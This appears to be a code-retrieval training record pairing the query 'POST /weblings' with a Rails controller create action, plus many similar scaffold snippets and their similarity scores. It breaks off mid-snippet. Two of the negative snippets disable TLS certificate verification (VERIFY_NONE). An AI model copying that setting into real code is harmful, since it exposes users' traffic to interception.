"def new\n @listing = Listing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @listing }\n end\n end",
"def new\n @listing = Listing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @listing }\n end\n end",
"def new\n @listing = Listing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @listing }\n end\n end",
"def new\n @listing = Listing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json => @listing }\n end\n end",
"def new\n @bottle = Bottle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bottle }\n\t\t\tformat.json { render :json => @bottle }\n end\n end",
"def new\n @rock = Rock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @rock }\n end\n end",
"def new\n @litter = Litter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @litter }\n end\n end",
"def new\n @tweet = Tweet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tweet }\n end\n end",
"def new\n @tweet = Tweet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tweet }\n end\n end",
"def new\n @t = T.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @t }\n end\n end",
"def new\n @new_status = NewStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_status }\n end\n end",
"def new\n @subway = Subway.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @subway }\n end\n end",
"def new\n @pun = Pun.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pun }\n end\n end",
"def new\n @green = Green.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @green }\n end\n end",
"def new\n @straddle = Straddle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @straddle }\n end\n end",
"def new\n @holder = Holder.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @holder }\n end\n end",
"def new\n @weight = Weight.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @weight }\n end\n end",
"def new\n @wk = Wk.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wk }\n end\n end",
"def new\n @page = 'newdoll'\n @doll = current_user.dolls.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @doll }\n end\n end",
"def new\n @gen = Gen.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gen }\n end\n end",
"def new\n @po = Po.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @po }\n end\n end",
"def new\n @potz = Potz.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @potz }\n end\n end",
"def new\n @troop = Troop.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @troop }\n end\n end",
"def new\n @broad = Broad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @broad }\n end\n end",
"def new\n @hasil = Hasil.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hasil }\n end\n end",
"def new\n @microplst = Microplst.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @microplst }\n end\n end",
"def new\n @routing = Routing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @routing }\n end\n end",
"def new\n @strategyweb = Strategyweb.new\n\n respond_to do |format|\n format.html\n format.json { render json: @strategyweb }\n end\n end",
"def new\n @jam = Jam.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @jam }\n end\n end",
"def new\n @name = Name.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @name }\n end\n end",
"def new\n @newapp = Newapp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newapp }\n end\n end",
"def new\n @name = Name.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @name }\n end\n end",
"def new\n @tweetsandwich = Tweetsandwich.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tweetsandwich }\n end\n end",
"def new\n @hetong = Hetong.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hetong }\n end\n end",
"def new\n @entry = Entry.new\n\n render json: @entry\n end",
"def new\n @lid = Lid.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lid }\n end\n end",
"def new\n @brother = Brother.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @brother }\n end\n end",
"def new\n @lyric = Lyric.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lyric }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end",
"def new\n @url = ShortenedUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @url }\n end\n end",
"def new\n @cheer = Cheer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cheer }\n end\n end",
"def new\n @specie = Specie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @specie }\n end\n end",
"def new\n @work = Work.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @work }\n end\n end",
"def new\n @spiel = Spiel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @spiel }\n end\n end",
"def new\n @mostsmallresource = Mostsmallresource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mostsmallresource }\n end\n end",
"def new\n @human = Human.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @human }\n end\n end",
"def new\n @lede = Lede.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lede }\n end\n end"
] |
[
"0.7177168",
"0.7159563",
"0.7144465",
"0.7099905",
"0.7088885",
"0.7083978",
"0.70603526",
"0.70597327",
"0.70596766",
"0.7059015",
"0.7058136",
"0.70379454",
"0.7010438",
"0.70038015",
"0.69961244",
"0.6989279",
"0.6989279",
"0.6986415",
"0.69684625",
"0.69622254",
"0.69610655",
"0.69506687",
"0.6950602",
"0.69489926",
"0.6946446",
"0.6931688",
"0.6928996",
"0.69263834",
"0.6912003",
"0.69085556",
"0.68907505",
"0.6889625",
"0.6886588",
"0.6879378",
"0.6875052",
"0.6863777",
"0.68631715",
"0.6861621",
"0.6855576",
"0.6855576",
"0.68471503",
"0.6846834",
"0.6829393",
"0.68289703",
"0.68275464",
"0.6823907",
"0.6823261",
"0.6821222",
"0.6820807",
"0.68198305",
"0.6818688",
"0.68185216",
"0.68141836",
"0.68130916",
"0.68130916",
"0.68130916",
"0.6812674",
"0.68126076",
"0.6812443",
"0.6810454",
"0.6806602",
"0.6806602",
"0.68046194",
"0.6799781",
"0.67980355",
"0.67917526",
"0.67858446",
"0.6785805",
"0.6782611",
"0.6776168",
"0.6775171",
"0.6774313",
"0.6768624",
"0.67672825",
"0.6759073",
"0.67551553",
"0.67549235",
"0.6754699",
"0.67527604",
"0.6750667",
"0.67495227",
"0.67484784",
"0.67463106",
"0.6746174",
"0.6743782",
"0.6743236",
"0.67431426",
"0.6742174",
"0.6740585",
"0.67325175",
"0.6732275",
"0.6730676",
"0.67294955",
"0.6726549",
"0.67191666",
"0.6715839",
"0.6714522",
"0.67128354",
"0.6712438",
"0.67081213"
] |
0.78873295
|
0
|
POST /weblings POST /weblings.json
|
def create
@webling = Webling.new(params[:webling])
respond_to do |format|
if @webling.save
format.html { redirect_to @webling, notice: 'Webling was successfully created.' }
format.json { render json: @webling, status: :created, location: @webling }
else
format.html { render action: "new" }
format.json { render json: @webling.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @webling = Webling.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @webling }\n end\n end",
"def create\n @wager = Wager.new(params[:wager])\n\n if @wager.save\n render json: @wager, status: :created, location: @wager\n else\n render json: @wager.errors, status: :unprocessable_entity\n end\n end",
"def create\n @wellist = Wellist.new(wellist_params)\n\n if @wellist.save\n render json: @wellist, status: :created, location: @wellist\n else\n render json: @wellist.errors, status: :unprocessable_entity\n end\n end",
"def create\n @webtoon = Webtoon.new(webtoon_params)\n\n respond_to do |format|\n if @webtoon.save\n format.html { redirect_to @webtoon, notice: 'Webtoon was successfully created.' }\n format.json { render :show, status: :created, location: @webtoon }\n else\n format.html { render :new }\n format.json { render json: @webtoon.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @web = Web.new(web_params)\n\n respond_to do |format|\n if @web.save\n format.html { redirect_to @web, notice: 'Web was successfully created.' }\n format.json { render :show, status: :created, location: @web }\n else\n format.html { render :new }\n format.json { render json: @web.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @wod = Wod.new(wod_params)\n\n if @wod.save\n render json: @wod, status: :created\n else\n render json: @wod.errors, status: :unprocessable_entity\n end\n end",
"def create\n \n\t@strategyweb = Strategyweb.new(params[:strategyweb])\n\n respond_to do |format|\n if @strategyweb.save\n format.html { redirect_to @strategyweb, notice: 'Strategyweb was successfully created.' }\n format.json { render json: @strategyweb, status: :created, location: @strategyweb }\n else\n format.html { render action: \"new\" }\n format.json { render json: @strategyweb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_webhook\n HTTParty.post(\n \"https://api.trello.com/1/tokens/#{user.token}/webhooks/?key=#{ENV['TRELLO_KEY']}\",\n query: {\n description: \"Sprint webhook user#{user.id}\",\n callbackURL: \"#{ENV['BASE_URL']}webhooks\",\n idModel: trello_ext_id\n },\n headers: { \"Content-Type\" => \"application/json\" }\n )\n end",
"def web(_request, response)\n response.headers[\"Content-Type\"] = \"application/json\"\n json = MultiJson.dump(\n adapter: robot.config.robot.adapter,\n lita_version: Lita::VERSION,\n redis_memory_usage: redis_memory_usage,\n redis_version: redis_version,\n robot_mention_name: robot.mention_name,\n robot_name: robot.name\n )\n response.write(json)\n end",
"def create\n \n\t@strategyweb = Strategyweb.new(params[:strategyweb])\n @strategyweb.control=\"strategys\"\n @strategyweb.action=\"show\"\n @strategyweb.anreturn=1\n respond_to do |format|\n if @strategyweb.save\n format.html { redirect_to :action=>\"index\", notice: 'Strategyweb was successfully created.' }\n format.json { render json: @strategyweb, status: :created, location: @strategyweb }\n else\n format.html { render action: \"new\" }\n format.json { render json: @strategyweb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def do_request(homework)\n uri = URI.parse('https://webhook.site/1e9a10c7-54e0-414b-a1a7-3a7dad38c56d')\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n req = Net::HTTP::Post.new(uri.path, 'Content-Type' => 'application/json')\n req.body = {\n homework_source: homework.source_code,\n student: fullname,\n pr_title: homework.pr_title\n }.to_json\n http.request(req)\n end",
"def create\n @wrestler = Wrestler.new(wrestler_params)\n\n respond_to do |format|\n if @wrestler.save\n format.html { redirect_to @wrestler, notice: 'Wrestler was successfully created.' }\n format.json { render :show, status: :created, location: @wrestler }\n else\n format.html { render :new }\n format.json { render json: @wrestler.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @wing = Wing.new(wing_params)\n\n respond_to do |format|\n if @wing.save\n format.html { redirect_to @wing, notice: 'Wing was successfully created.' }\n format.json { render :show, status: :created, location: @wing }\n else\n format.html { render :new }\n format.json { render json: @wing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_spoonacular\n # %encode ingredients to url\n encoded_ingr = URI.escape(@translated_recipe[:ingredients_list])\n # post call block :\n url = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/parseIngredients?includeNutrition=true\")\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(url)\n request[\"content-type\"] = \"application/x-www-form-urlencoded\"\n request[\"x-rapidapi-key\"] = ENV[\"X_RAPIDAPI_KEY\"]\n request[\"x-rapidapi-host\"] = \"spoonacular-recipe-food-nutrition-v1.p.rapidapi.com\"\n # body of the call with ingredients and servings\n request.body = \"ingredientList=#{encoded_ingr}&#{@recipe_hash[:servings]}\"\n # response\n response = http.request(request)\n end",
"def create\n @wepon = Wepon.new(wepon_params)\n\n respond_to do |format|\n if @wepon.save\n format.html { redirect_to @wepon, notice: '追加されました' }\n format.json { render :show, status: :created, location: @wepon }\n else\n format.html { render :new }\n format.json { render json: @wepon.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post\n Typhoeus.post(@url,\n body: @results_hash.to_json,\n headers: { 'Content-Type' => 'application/json' })\n end",
"def create\n @bottling = Bottling.new(params[:bottling])\n\n respond_to do |format|\n if @bottling.save\n format.html { redirect_to @bottling, notice: 'bottling was successfully created.' }\n format.json { render json: @bottling, status: :created, location: @bottling }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bottling.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @progress_web = ProgressWeb.new(progress_web_params)\n @@clonePW=@progress_web\n respond_to do |format|\n if @progress_web.save\n\n format.html { redirect_to @progress_web, notice: 'Progress web was successfully created.' }\n # format.json { render action: 'show', status: :created, location: @progress_web }\n else\n puts \"FAILED\"\n end\n end\n end",
"def create\n @leye = Leye.new(params[:leye])\n\n respond_to do |format|\n if @leye.save\n format.html { redirect_to @leye, notice: 'Leye was successfully created.' }\n format.json { render json: @leye, status: :created, location: @leye }\n else\n format.html { render action: \"new\" }\n format.json { render json: @leye.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @railway = Railway.new(params[:railway])\n\n respond_to do |format|\n if @railway.save\n format.html { redirect_to @railway, notice: 'Railway was successfully created.' }\n format.json { render json: @railway, status: :created, location: @railway }\n else\n format.html { render action: \"new\" }\n format.json { render json: @railway.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @web_datas = WebData.new(web_datas_params)\n\n respond_to do |format|\n if @web_datas.save\n format.html { redirect_to @web_datas, notice: 'Web datas was successfully created.' }\n format.json { render :show, status: :created, location: @web_datas }\n else\n format.html { render :new }\n format.json { render json: @web_datas.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n p'*'*800\n p params\n\n @trainer = Trainer.new(trainer_params)\n\n p @trainer\n\n if @trainer.save\n render json: @trainer, status: :created, location: @trainer\n else\n render json: @trainer.errors, status: :unprocessable_entity\n end\n end",
"def create\n @behatweb = Behatweb.new(params[:behatweb])\n\n respond_to do |format|\n \n\n if @behatweb.save\n format.html { redirect_to @behatweb, notice: 'Behatweb was successfully created.' }\n format.json { render json: @behatweb, status: :created, location: @behatweb }\n else\n format.html { render action: \"new\" , :layout => 'default'}\n format.json { render json: @behatweb.errors, status: :unprocessable_entity ,action: \"new\"}\n end\n end\n end",
"def create\n @twet = Twet.new(twet_params)\n\n respond_to do |format|\n if @twet.save\n format.html { redirect_to @twet, notice: \"Twet was successfully created.\" }\n format.json { render :show, status: :created, location: @twet }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @twet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @weakness = Weakness.new(weakness_params)\n @plano = current_user.plano\n @weaknesses = @plano.weaknesses\n respond_to do |format|\n if @weakness.save\n format.html { redirect_to @weakness, notice: 'Fraqueza criada com sucesso.' }\n format.json { render :show, status: :created, location: @weakness }\n format.js\n else\n format.html { render :new }\n format.json { render json: @weakness.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @wrestler = Wrestler.new(params[:wrestler])\n\n respond_to do |format|\n if @wrestler.save\n flash[:notice] = 'Wrestler was successfully created.'\n format.html { redirect_to(@wrestler) }\n format.xml { render :xml => @wrestler, :status => :created, :location => @wrestler }\n format.js\n else\n flash[:notice] = \"Error creating wrestler.\"\n format.html { redirect_to (new_wrestler_path) }\n format.xml { render :xml => @wrestler.errors, :status => :unprocessable_entity }\n format.js\n end\n end\n end",
"def create\n @wing = Wing.new(wing_params)\n authorize! :create, @wing\n\n respond_to do |format|\n if @wing.save\n format.html { redirect_to @wing, notice: t('.create_ok', item: @wing.name) }\n format.json { render action: 'show', status: :created, location: @wing }\n else\n format.html { render action: 'new' }\n format.json { render json: @wing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def moip_post\n @nasp_rail = NaspRail.new(params[:nasp_rail])\n\n format.html { redirect_to @nasp_rail, :notice => 'Nova entrada criada com sucesso.' }\n format.json { render :json => @nasp_rail, :status => :created, :location => @nasp_rail }\n end",
"def create\n @witch = Witch.new(params[:witch])\n\n respond_to do |format|\n if @witch.save\n format.html { redirect_to @witch, notice: 'Witch was successfully created.' }\n format.json { render json: @witch, status: :created, location: @witch }\n else\n format.html { render action: \"new\" }\n format.json { render json: @witch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def webtoon_params\n params.require(:webtoon).permit(:writer, :webtoon_name, :gerne)\n end",
"def create\n @wbr_datum = WbrDatum.new(params[:wbr_datum])\n\n respond_to do |format|\n if @wbr_datum.save\n format.html { redirect_to wbr_data_path, notice: 'Wbr datum was successfully created.' }\n format.json { render json: @wbr_datum, status: :created, location: @wbr_datum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @wbr_datum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @webtier = Webtier.new(webtier_params)\n\n respond_to do |format|\n if @webtier.save\n format.html { redirect_to @webtier, notice: 'webtier was successfully created.' }\n format.json { render :show, status: :created, location: @webtier }\n else\n format.html { render :new }\n format.json { render json: @webtier.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lede = Lede.new(params[:lede])\n\n respond_to do |format|\n if @lede.save\n format.html { redirect_to @lede, notice: 'Lede was successfully created.' }\n format.json { render json: @lede, status: :created, location: @lede }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lede.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sighting = Sighting.new(sighting_params)\n\n if @sighting.save\n render json: @sighting, status: :created, location: @sighting\n else\n render json: @sighting.errors, status: :unprocessable_entity\n end\n end",
"def create\n params[:url_list].each do |url|\n WebUrl.new(:url => url).save\n end\n render :json=>params[:url_list].to_json\n end",
"def new\n @strategyweb = Strategyweb.new\n\n respond_to do |format|\n format.html\n format.json { render json: @strategyweb }\n end\n end",
"def create\n @wk = Wk.new(params[:wk])\n\n respond_to do |format|\n if @wk.save\n format.html { redirect_to @wk, notice: 'Wk was successfully created.' }\n format.json { render json: @wk, status: :created, location: @wk }\n else\n format.html { render action: \"new\" }\n format.json { render json: @wk.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @wine = Wine.new(params[:wine])\n\n respond_to do |format|\n if @wine.save\n format.html { redirect_to @wine, notice: 'Wine was successfully created.' }\n format.json { render json: @wine, status: :created, location: @wine }\n else\n format.html { render action: \"new\" }\n format.json { render json: @wine.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @wine = Wine.new(params[:wine])\n\n respond_to do |format|\n if @wine.save\n format.html { redirect_to @wine, notice: 'Wine was successfully created.' }\n format.json { render json: @wine, status: :created, location: @wine }\n else\n format.html { render action: \"new\" }\n format.json { render json: @wine.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @wod = Wod.new(wod_params)\n\n respond_to do |format|\n if @wod.save\n format.html { redirect_to @wod, notice: 'Wod was successfully created.' }\n format.json { render :show, status: :created, location: @wod }\n else\n format.html { render :new }\n format.json { render json: @wod.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sighting = Sighting.new(sighting_params)\n\n if @sighting.save\n render json: @sighting, status: :created, location: @sighting\n else\n render json: @sighting.errors, status: :unprocessable_entity\n end\n end",
"def create\n @walikela = Walikela.new(walikela_params)\n\n respond_to do |format|\n if @walikela.save\n format.html { redirect_to @walikela, notice: 'Walikela was successfully created.' }\n format.json { render action: 'show', status: :created, location: @walikela }\n else\n format.html { render action: 'new' }\n format.json { render json: @walikela.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bottling = Bottling.new(bottling_params)\n\n respond_to do |format|\n if @bottling.save\n format.html { redirect_to [:admin, @bottling], notice: 'Bottling was successfully created.' }\n format.json { render :show, status: :created, location: @bottling }\n else\n format.html { render :new }\n format.json { render json: @bottling.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @betraege = Betraege.new(params[:betraege])\n\n respond_to do |format|\n if @betraege.save\n format.html { redirect_to @betraege, :notice => 'Betraege was successfully created.' }\n format.json { render :json => @betraege, :status => :created, :location => @betraege }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @betraege.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @sprinkle = Sprinkle.new(sprinkle_params)\n\n respond_to do |format|\n if @sprinkle.save\n format.html { redirect_to @sprinkle, notice: 'Sprinkle was successfully created.' }\n format.json { render :show, status: :created, location: @sprinkle }\n else\n format.html { render :new }\n format.json { render json: @sprinkle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lei = Lei.new(params[:lei])\n\n respond_to do |format|\n if @lei.save\n format.html { redirect_to @lei, notice: 'Lei was successfully created.' }\n format.json { render json: @lei, status: :created, location: @lei }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lei.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @shuttle_run = ShuttleRun.new(shuttle_run_params)\n\n respond_to do |format|\n if @shuttle_run.save\n format.html { redirect_to @shuttle_run, notice: 'Shuttle run was successfully created.' }\n format.json { render action: 'show', status: :created, location: @shuttle_run }\n else\n format.html { render action: 'new' }\n format.json { render json: @shuttle_run.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(params)\n post_url = url\n LightspeedCall.make('POST') { HTTParty.post(post_url, body: params.to_json, headers: {Authorization: \"Bearer #{LightspeedApi::OauthGrant.token}\", 'Accept' => 'application/json', 'Content-Type' => 'application/json' }) }\n end",
"def add_prowl(options)\n uri = URI.parse(\"https://prowl.weks.net/publicapi/add\")\n https = Net::HTTP.new(uri.host, uri.port)\n # We have to use SSL\n https.use_ssl = true\n # Avoid to get warning\n https.verify_mode = OpenSSL::SSL::VERIFY_NONE\n req = Net::HTTP::Post.new(uri.path)\n # Default options for notifications\n options = {:apikey => $configure[:prowl][:apikey], :application => \"Twitter\", :priority => 0}.merge(options)\n req.set_form_data(options)\n https.request(req)\nend",
"def create\n @led = Led.new(led_params)\n\n respond_to do |format|\n if @led.save\n format.html { redirect_to @led, notice: 'Led was successfully created.' }\n format.json { render :show, status: :created, location: @led }\n else\n format.html { render :new }\n format.json { render json: @led.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @monel = Monel.new(params[:monel])\n\n respond_to do |format|\n if @monel.save\n format.html { redirect_to @monel, notice: 'Monel was successfully created.' }\n format.json { render json: @monel, status: :created, location: @monel }\n else\n format.html { render action: \"new\" }\n format.json { render json: @monel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @wig = Wig.new(params[:wig])\n\n respond_to do |format|\n if @wig.save\n format.html { redirect_to @wig, notice: 'Wig was successfully created.' }\n format.json { render json: @wig, status: :created, location: @wig }\n else\n format.html { render action: \"new\" }\n format.json { render json: @wig.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n if params[:journey_id]\n @journey = Journey.find(params[:journey_id])\n render_403 and return if @journey.user_id != current_user.id\n else\n @journey = Journey.create(user_id: current_user.id)\n end\n\n @url = \"/journeys/#{@journey.id}/legs\"\n @method = :POST\n @journey_leg = JourneyLeg.new(journey_leg_params.merge(journey_id: @journey.id))\n\n respond_to do |format|\n if @journey_leg.save\n format.html { redirect_to @journey, notice: 'Journey leg was successfully created.' }\n format.json { render json: @journey, status: :created, location: @journey }\n format.xml { render xml: @journey, status: :created, location: @journey }\n else\n format.html { render action: \"new\" }\n format.json { render json: @journey_leg.errors, status: :unprocessable_entity }\n format.xml { render xml: @journey_leg.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @kolegij = Kolegij.new(params[:kolegij])\n\n respond_to do |format|\n if @kolegij.save\n format.html { redirect_to @kolegij, notice: 'Kolegij was successfully created.' }\n format.json { render json: @kolegij, status: :created, location: @kolegij }\n else\n format.html { render action: \"new\" }\n format.json { render json: @kolegij.errors, status: :unprocessable_entity }\n end\n end\n end",
"def POST; end",
"def create\n @werk = Werk.new(werk_params)\n\n respond_to do |format|\n if @werk.save\n format.html { redirect_to @werk, notice: 'Werk was successfully created.' }\n format.json { render action: 'show', status: :created, location: @werk }\n else\n format.html { render action: 'new' }\n format.json { render json: @werk.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bowling = Bowling.new(bowling_params)\n\n respond_to do |format|\n if @bowling.save\n format.html { redirect_to @bowling, notice: 'Bowling was successfully created.' }\n format.json { render :show, status: :created, location: @bowling }\n else\n format.html { render :new }\n format.json { render json: @bowling.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @leito = Leito.new(params[:leito])\n\n respond_to do |format|\n if @leito.save\n format.html { redirect_to @leito, notice: 'Leito was successfully created.' }\n format.json { render json: @leito, status: :created, location: @leito }\n else\n format.html { render action: \"new\" }\n format.json { render json: @leito.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_json(path, body)\n uri = build_uri(path)\n #puts \"🤖 POST #{path}\"\n #puts JSON.pretty_generate(body)\n\n post_request = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')\n post_request.body = JSON.generate(body)\n\n response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) do |http|\n http.request(post_request)\n end\n\n #puts \"HTTP #{response.code}\"\n result = JSON.parse(response.body)\n #puts result[:result]\n result\nend",
"def show\n @webling = Webling.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @webling }\n end\n end",
"def post\n Rentlinx.client.post(self)\n end",
"def suscriber_wm\n\t\turi = URI(\"http://staging.benchprep.com/api/v1/test/fixtures.json\")\t\n\n\t\tres = Net::HTTP.post_form(uri, 'email' => '[email protected]&enrollments_persona=subscriber&devices_persona=web_and_mobile')\n\t\t# write this output to a file\n\t\toutput = File.open( \"spec/fixtures/sp_wm_persona.json\",'w' ){|f| \n\t\t\tf.flock(File::LOCK_EX)\n\t\t\tf.write(res.body)\n\t\t}\n\n\t\t# Now parse this string as json\n\t\tjson = File.read('spec/fixtures/sp_wm_persona.json')\n\t\templs = JSON.parse(json)\n\n\t\treturn empls #pretty printed output\n\tend",
"def create_twit(twit)\n RestClient.post configuration.base_url + '/twits',\n { twit: twit }.to_json,\n content_type: :json,\n accept: :json\n end",
"def create\n respond_to do |format|\n if @wireless.save\n format.html { redirect_to wirelesses_path, notice: 'Rede Wireless criada com sucesso.' }\n format.json { render :index, status: :created, location: @wireless }\n else\n format.html { render :new }\n format.json { render json: @wireless.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @wynthought = Wynthought.new(wynthought_params)\n\n respond_to do |format|\n if @wynthought.save\n format.html { redirect_to :back, notice: 'Wynthought was successfully created.' }\n format.json { render :show, status: :created, location: @wynthought }\n else\n format.html { render :new }\n format.json { render json: @wynthought.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @hotele = Hotele.new(params[:hotele])\n\n respond_to do |format|\n if @hotele.save\n format.html { redirect_to @hotele, notice: 'Hotele was successfully created.' }\n format.json { render json: @hotele, status: :created, location: @hotele }\n else\n format.html { render action: \"new\" }\n format.json { render json: @hotele.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @wine = Wine.new(wine_params)\n\n respond_to do |format|\n if @wine.save\n format.html { redirect_to @wine, notice: 'Wine was successfully created.' }\n format.json { render action: 'show', status: :created, location: @wine }\n else\n format.html { render action: 'new' }\n format.json { render json: @wine.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @wine = Wine.new(wine_params)\n \n respond_to do |format|\n if @wine.save\n format.html { redirect_to @wine, notice: 'Wine was successfully created.' }\n format.json { render :show, status: :created, location: @wine }\n else\n format.html { render :new }\n format.json { render json: @wine.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @wing = Wing.new(params[:wing])\n\n respond_to do |format|\n if @wing.save\n format.html { redirect_to(@wing, :notice => 'Wing was successfully created.') }\n format.xml { render :xml => @wing, :status => :created, :location => @wing }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @wing.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n \n #timestamp={{FellAsleepAt}}&total_sleep={{TotalTimeSleptInSeconds}}&deep={{TimeInDeepSleepSeconds}}&light={{TimeInLightSleepSeconds}}&awake={{TimeAwakeSeconds}}\n \n json_hash = Hash.new\n \n description = params[:description]\n \n timestamp = params[:timestamp]\n total_sleep_seconds = params[:total_sleep]\n deep_sleep_seconds = params[:deep]\n light_sleep_seconds = params[:light]\n awake_seconds = params[:awake]\n \n if timestamp.nil? || total_sleep_seconds.nil?\n \n puts 'timestamp is nil or total_sleep_seconds is nil :('\n \n else\n \n total_sleep = total_sleep_seconds / 60.0\n deep = deep_sleep_seconds / 60.0\n light = light_sleep_seconds / 60.0\n awake = awake_seconds / 60.0\n \n post_to_twitter = false\n post_to_facebook = false\n \n # FellAsleepAt is formatted: August 23, 2013 at 11:01PM\n # Convert to Runkeeper's preferred format: Sat, 1 Jan 2011 00:00:00\n timestamp_datetime = DateTime.parse(timestamp)\n formatted_timestamp = timestamp_datetime.strftime(\"%a, %d %b %Y %H:%M:%S\")\n \n json_hash['timestamp'] = formatted_timestamp\n json_hash['total_sleep'] = deep\n json_hash['deep'] = deep\n json_hash['light'] = light\n json_hash['awake'] = awake\n json_hash['post_to_twitter'] = post_to_twitter\n json_hash['post_to_facebook'] = post_to_facebook\n \n url = 'https://api.runkeeper.com/sleep'\n \n uri = URI.parse(url)\n \n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n request = Net::HTTP::Post.new(uri.request_uri)\n request[\"Authorization\"] = \"Bearer \" 